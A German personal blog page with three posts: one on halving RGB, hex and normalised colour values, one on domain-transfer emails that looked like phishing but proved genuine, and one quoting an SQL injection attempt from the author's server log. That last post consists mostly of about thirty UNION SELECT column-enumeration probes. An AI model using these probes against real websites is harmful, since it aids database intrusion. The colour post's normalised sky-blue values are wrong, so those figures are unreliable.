Mindestenssechszeichen...keine Panik!

Halbrunde Farben

16. Juli, 02:08 von Yhoko
Farben sind für Programmierer immer irgendwie problematisch, denn es sind an sich keine Zahlen. Computer können aber nur mit Zahlen, also muss man die Farben irgendwie umwandeln. Das wohl berühmteste Farbmodell "RGB" dürfte dabei jedem ein Begriff sein, der schon irgendwie mit Farben am Computer zu tun hatte. Das Prinzip ist simpel; man stellt jeden der drei Farbaspekte (Rot, Grün, Blau) mit einem Byte (von 0 bis 255) dar und aus der Kombination ergeben sich alle möglichen Bildschirmfarben. Himmelblau ist beispielsweise als "R34 G113 B179" definiert (gemäss RAL Palette).

Nun ist es recht mühsam und platzverbrauchend, Farben immer auf diese Weise anzugeben. Man könnte die Buchstaben weglassen, da die Reihenfolge klar ist, aber "34 113 179" ist immer noch recht umständlich einzugeben. Viel praktischer ist es, wenn man für jeden Farbaspekt immer 1 oder 2 Buchstaben eintragen kann – und hier leistet das Hexadezimalsystem (kurz: Hex) einmal mehr gute Dienste. Statt von 0 bis 255 stellt man damit die Farbwerte von 00 bis FF dar und siehe da, nun sind alle Zahlen "gleich breit". Aus dem Himmelblau wird nun "#2271B3" und das ist wirklich vergleichsweise kompakt (die # stellt man davor, damit klar ist, dass es sich um eine Hex-Zahl handelt). Jeder, der schon mit HTML/CSS gearbeitet hat, dürfte diese Schreibweise gut kennen. Ich persönlich bevorzuge sogar meistens die Abkürzungsmethode mit 3 Ziffern: "#27A" (der Browser verdoppelt dabei alle Ziffern, das Beispiel entspricht also "#2277AA" und ist immerhin nah dran am Himmelblau).

Ein drittes, ebenfalls weit verbreitetes System kommt aus der Grafik-Programmierung und scheint zunächst auch nur eine alternative Darstellung zu sein: Statt von 0 bis 255 verwendet man einfach die (Bruch-)Werte von 0 bis 1 und nennt das ganze "normalisiert". Das Himmelblau von oben wird damit zu "0.008 0.153 0.106" und macht damit erstmal keine gute Figur: viele Zahlen, Dezimalpunkte und wer kann sich unter den Fliesskommazahlen schon gross etwas vorstellen? Technisch hat dies jedoch viele Vorteile und Entwickler lieben normalisierte "von 0 bis 1" Werte; man kann diese z.B. problemlos miteinander multiplizieren und überblenden. Ausserdem sind die Abstufungen mit Kommazahlen beliebig fein, während im klassischen RGB-Modus nur ganze Zahlen vorkommen (klar könnte man auch da so etwas wie "Rot 12.7003" angeben, aber spätestens im Hex-Modus klappt das nicht mehr).

Nun kommen wir zum eigentlichen Problem: Farben halbieren.

RGB-Farbwerte kann man also mit Ganzzahlen von 0 – 255 oder Kommazahlen von 0.0 – 1.0 darstellen. Aber wie halbiert man diese? Normalisiert ist das ziemlich leicht, die Hälfte von 1.0 ist 0.5, Fall erledigt. Aber bei der RGB-Darstellung? Die Hälfte von 255 ist 127.5 und das ist ein Problem, denn hier sind ja nur Ganzzahlen erlaubt. Nehmen wir also 127 oder 128?
Nun, an sich sind es ja 256 Abstufungen, man stelle sich diese als Klaviertasten vor. Ganz links befindet sich 0 und ganz rechts 255. Die Tasten haben eine gewisse Breite, weil es sich um Ganzzahlen handelt – selbst wenn man bei 0.5 drückt, erwischt man dennoch die Taste 0. Sogar bei 0.9 ist es immer noch die 0, erst ab 1.0 kommt die 1 und die wiederum reicht bis fast zur 2.0. Ganz am Ende bei 255 ist es dasselbe, sowohl 255.0 als auch 255.9 oder 255.99999 sind dort untergebracht. Im Grunde geht der Farbwert also bis (unendlich knapp) zur 256, und wenn man das halbiert erhält man eine Zahl unendlich dicht vor 128, sagen wir 127.99999. Nun wird deutlich, dass 127 als Mitte deutlich schlechter passt als 128 – wäre das also korrekter? Woher kommt überhaupt diese neue Erkenntnis?

Die Auflösung liegt in der Rundungsfunktion, denn im obigen Gedankengang habe ich stillschweigend immer abgerundet. Vergrössert betrachtet reicht die erste Klaviertaste 0 von 0.0 bis fast 1.0, aber das geht auch anders. Man kann die Zahlen genau in der Mitte der Taste festlegen, dann reicht die Taste 0 plötzlich von -0.5 bis fast 0.5 und gerundet wird beides zu 0, das klappt also. Bei der letzten Taste haben wir entsprechend links den Wert 254.5 und rechts fast 255.5, was beides auf 255 gerundet wird. Mit dieser Betrachtungsweise liegt die Mitte erneut bei 127.5 und das wird bekanntlich zu 128 aufgerundet (Hex: #80).

Diese unendlich kleine Rundung führt zu einer wesentlichen Diskrepanz zwischen RGB-Schreibweise und normalisierten Farben. Während nämlich 0.5 verdoppelt wieder genau 1.0 gibt, kommt man im RGB-Modus von 128 auf 256 (was 1 zu viel ist) oder allenfalls mit 127 auf 254 (was 1 zu wenig wäre).

Halbe Farben sind also doch nicht ganz rund, obwohl sie gerundet werden.
Themen: TechnikErklärung

Ein Schrecken zum Frühstück

7. April, 17:50 von Yhoko
Alles begann vor ein paar Tagen, als mich zwei automatische E-Mails von meinem Provider erreichten. Darin hiess es, man würde alle US-Domains (.com, .net, .org) auf EU-Registrare (z.B. DENIC) umschreiben und auch meine Domain Yhoko.com sei davon betroffen. Eine Aktion meinerseits sei nicht erforderlich, es würden lediglich noch weitere Informations-Mails vom Registrar kommen. Das war erstmal eine gute Nachricht, sollen die .com Domains ruhig nach Europa umgezogen werden. Ich zitiere:

[...] Auch Ihre Domain yhoko.com ist davon betroffen. Wir möchten Sie daher informieren, dass wir im Verlauf des Monats April 2019 den Transfer Ihrer Domain vornehmen werden. Aufgrund des Verifizierungsprozesses ist es notwendig, Ihre Stammdaten kurzzeitig zu ändern. Dies betrifft u.a. Ihre E-Mail-Adressen. Über diesen Punkt werden Sie per Mail von der Registry noch einmal separat informiert werden. Handlungen Ihrerseits sind nicht notwendig.
Nach dem erfolgreichen Transfer der Domain sind alle Ihre Stammdaten inkl. E-Mail-Adressen wieder wie gewohnt hinterlegt. Fortan profitieren Sie von einem noch höheren Sicherheitsstandard und verbesserten Serviceleistungen.


Zwei Tage später, also gestern, kam dann tatsächlich eine weitere Mail, die mich aufforderte, meine E-Mail Adresse zu bestätigen. Darin war ein kryptischer Link enthalten, der auf [https] domreg.keyweb.de führte – eine Domain meines Anbieters, also alles in Ordnung. Das alles war an sich auch völlig normal und plausibel, man will ja aktuelle Daten haben. Also klickte ich ihn an und keine zwei Minuten später trudelte eine Bestätigungs-Mail in mein Postfach, mit nur folgendem Inhalt:

Der Transfer fuer die Domain yhoko.com wurde gestartet.


Das "fuer" versetzte mich in Aufregung, plötzlich schlugen alle Alarmglocken und ich fasste in Gedanken zusammen: "Du hast gerade einen kryptischen Link in einer E-Mail angeklickt, die angeblich von deinem Provider kommt. Direkt im Anschluss wurde ein Domain-Transfer von Yhoko.com eingeleitet und du weisst nicht mal, wohin."
Ich war nervös und ging der Sache weiter nach. Zunächst rief ich das Admin-Panel von Keyweb auf, wo solche News und Änderungen ja auch immer publiziert werden: nichts zu finden. Dann prüfte ich die Whois-Daten um zu sehen, ob die Meldung überhaupt echt und der Transfer wirklich in Gange war: Ja, war er – zudem war nicht mein Provider eingetragen sondern "enom.com", ein Anonymisierungsdienst für Domains. Die Nervosität wuchs weiter. Jetzt galt es, als letzten Strohhalm noch die Herkunft der E-Mails zu prüfen; ein Blick in den Header verriet: sie kamen nicht von keyweb.de sondern von keyspecial.de. Kurzer Blick auf [http] www.keyspecial.de — leer. Ups.

Plötzlich fiel es mir wie Schuppen von den Augen. Die Informations-Mail erwähnte explizit nur Yhoko.com, obwohl ich noch einige weitere .com Domains registriert habe. Sie wurde doppelt versendet bzw. zugestellt. Es gab keine persönliche Anrede und auch keinen Sachbearbeiter, in keiner der Mails. Immer nur der Hinweis auf den automatischen Versand und dass Antworten direkt gelöscht würden. Dann diese Bestätigungs-Mail, in der ausdrücklich und sogar in Fettschrift dazu gedrängt wurde, den kryptischen Link innerhalb von 2 Wochen anzuklicken (andernfalls drohte man mit einer Sperrung). Es gab zudem Tippfehler in den Mails und das "ue" statt "ü" in der Transfer-Bestätigung. Und als Tüpfelchen auf dem i verschwand daraufhin die Domain Yhoko.com aus meinem Admin-Panel bei Keyweb. Dort werden DENIC-Domains (.de) separat zu den CNO (.com/.net/.org) Domains aufgelistet und Yhoko.com verschwand aus der CNO-Liste – tauchte aber auch nicht bei der DENIC auf. Plötzlich klang auch die erste Informations-Mail völlig unglaubwürdig, wieso sollten meine Stammdaten geändert werden? Und am Ende versprach man mehr Sicherheit und Service..? Wozu überhaupt der Bestätigungslink? Und vor allem: Warum gingen all diese Mails nicht an meine übliche Kontaktadresse, die nur Keyweb kennt (dort landen normalerweise auch Ankündigungen und News) sondern an die Mail-Adresse, die im öffentlichen Whois-Register steht und damit für jeden einsehbar war? Doppel-Ups.

Nun aufgestachelt kontaktierte ich den Support, gleichzeitig informierte ich mich bei Google über die Masche und fand einige Negativberichte über enom.com, die aber nicht Enom selbst betrafen sondern Scammer, die unter deren Flagge Kundendaten phishten. Zumindest der Laden selbst schien also sauber zu sein, gehörte zudem zu GoDaddy (trotz doofem Namen der grössten US-Registrar) und ich hatte ja keine Benutzerdaten herausgegeben oder fremde Links angeklickt, das war einerseits beruhigend... aber wie konnte dann überhaupt ein Transfer ausgelöst werden? Selbst wenn der kryptische Link irgendwie präpariert gewesen wäre, so war ich zu dem Zeitpunkt ja nicht im Admin-Panel eingeloggt und er hätte überhaupt nichts bewirken können/dürfen. Trotzdem war Fakt, dass direkt nach dem Anklicken der Transfer gestartet wurde. Plötzlich kam mir noch eine, äusserst beunruhigende Möglichkeit in den Sinn: Was, wenn Keyweb selbst gehackt wurde? Andererseits, wozu brauchte man dann meine Mithilfe bzw. warum wurde ich überhaupt informiert und nicht gleich erpresst? Selbst wenn eine Art Bestätigung erforderlich gewesen wäre, hätte das alles ohne mein Zutun ablaufen können.

Es ergab irgendwie alles keinen Sinn, und die Situation blieb unklar, aber nicht zu handeln hätte ich als fahrlässig empfunden. Also schrieb ich sofort Enom und auch Keyweb an, um den Transfer zu stoppen (so ein Domain-Transfer dauert zum Glück einige Stunden bis Tage). Mein "Notfall"-Ticket wurde auch sofort an die zuständige Abteilung weitergeleitet, doch da versauerte die Anfrage erst einmal über Nacht. Schlafen konnte ich nicht wirklich gut und hatte auch immer die Zeitlimits im Kopf, die bei so einem Transfer gelten. Noch war Yhoko.com "im Transfer" und noch war ein Widerspruch möglich, aber wenn der Support den Termin verschläft...

Schliesslich, am nächsten Tag, die gute Nachricht: Der Support bestätigte, das alles seine Richtigkeit hat, und Yhoko.com war auch wieder im Admin-Panel aufgetaucht. Wohlgemerkt nur in der Liste meiner Domains, weder im CNO noch im DENIC-Bereich – aber das wird wohl auch nachgeholt. Es stellt sich also heraus, dass Keyweb tatsächlich...
  • unpersonalisierte und automatisierte E-Mails
  • von keyspecial.de statt normalerweise keyweb.de
  • an meine Whois-Adresse statt wie sonst die interne Kontaktadresse
  • mit Tippfehlern und ausgeschriebenen Umlauten
  • mit kryptischen Link-Bestätigungen
  • und teilweise doppelt verschickt.
  • Und das alles bei mir erstmal nur für Yhoko.com.
Anders gesagt, die Firma erfüllt offiziell sämtliche Anzeichen für Scam-Mails, mit dem letzten Punkt sogar noch mehr. Ganz ehrlich, ich wette (und hoffe) sie haben damit tausende von Admins aufgestachelt und ernten nun den Shitstorm bzw. Supportsturm dafür. Wird wohl mal Zeit, den Anbieter zu wechseln...

Yhoko

Neulich im Log

25. März, 17:10 von Yhoko
Letzte Nacht um 2 Uhr meldete mir das System einen SQL-Injection Versuch, den ich hier gerne einmal zeigen möchte. Konkret wurde ein URL-Parameter, der normalerweise eine Zahl von 0 bis 4 enthält, probeweise durch folgende Zeilen ersetzt:
12121121121212.1
12121121121212.1
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45),CHAR(45,120,49,55,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45),CHAR(45,120,49,55,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45),CHAR(45,120,49,55,45,81,45),CHAR(45,120,49,56,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45),CHAR(45,120,49,55,45,81,45),CHAR(45,120,49,56,45,81,45),CHAR(45,120,49,57,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45),CHAR(45,120,49,55,45,81,45),CHAR(45,120,49,56,45,81,45),CHAR(45,120,49,57,45,81,45),CHAR(45,120,50,48,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45),CHAR(45,120,49,55,45,81,45),CHAR(45,120,49,56,45,81,45),CHAR(45,120,49,57,45,81,45),CHAR(45,120,50,48,45,81,45),CHAR(45,120,50,49,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45),CHAR(45,120,49,55,45,81,45),CHAR(45,120,49,56,45,81,45),CHAR(45,120,49,57,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45),CHAR(45,120,49,55,45,81,45),CHAR(45,120,49,56,45,81,45),CHAR(45,120,49,57,45,81,45),CHAR(45,120,50,48,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45),CHAR(45,120,49,55,45,81,45),CHAR(45,120,49,56,45,81,45),CHAR(45,120,49,57,45,81,45),CHAR(45,120,50,48,45,81,45),CHAR(45,120,50,49,45,81,45),CHAR(45,120,50,50,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45),CHAR(45,120,49,55,45,81,45),CHAR(45,120,49,56,45,81,45),CHAR(45,120,49,57,45,81,45),CHAR(45,120,50,48,45,81,45),CHAR(45,120,50,49,45,81,45),CHAR(45,120,50,50,45,81,45),CHAR(45,120,50,51,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45),CHAR(45,120,49,55,45,81,45),CHAR(45,120,49,56,45,81,45),CHAR(45,120,49,57,45,81,45),CHAR(45,120,50,48,45,81,45),CHAR(45,120,50,49,45,81,45),CHAR(45,120,50,50,45,81,45),CHAR(45,120,50,51,45,81,45),CHAR(45,120,50,52,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45),CHAR(45,120,49,55,45,81,45),CHAR(45,120,49,56,45,81,45),CHAR(45,120,49,57,45,81,45),CHAR(45,120,50,48,45,81,45),CHAR(45,120,50,49,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45),CHAR(45,120,49,55,45,81,45),CHAR(45,120,49,56,45,81,45),CHAR(45,120,49,57,45,81,45),CHAR(45,120,50,48,45,81,45),CHAR(45,120,50,49,45,81,45),CHAR(45,120,50,50,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45),CHAR(45,120,49,55,45,81,45),CHAR(45,120,49,56,45,81,45),CHAR(45,120,49,57,45,81,45),CHAR(45,120,50,48,45,81,45),CHAR(45,120,50,49,45,81,45),CHAR(45,120,50,50,45,81,45),CHAR(45,120,50,51,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45),CHAR(45,120,49,55,45,81,45),CHAR(45,120,49,56,45,81,45),CHAR(45,120,49,57,45,81,45),CHAR(45,120,50,48,45,81,45),CHAR(45,120,50,49,45,81,45),CHAR(45,120,50,50,45,81,45),CHAR(45,120,50,51,45,81,45),CHAR(45,120,50,52,45,81,45),CHAR(45,120,50,53,45,81,45) -- /*
11111111111111' UNION SELECT CHAR(45,120,49,45,81,45) -- /* order by 'as /*
11111111111111' UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45) -- /* order by 'as /*
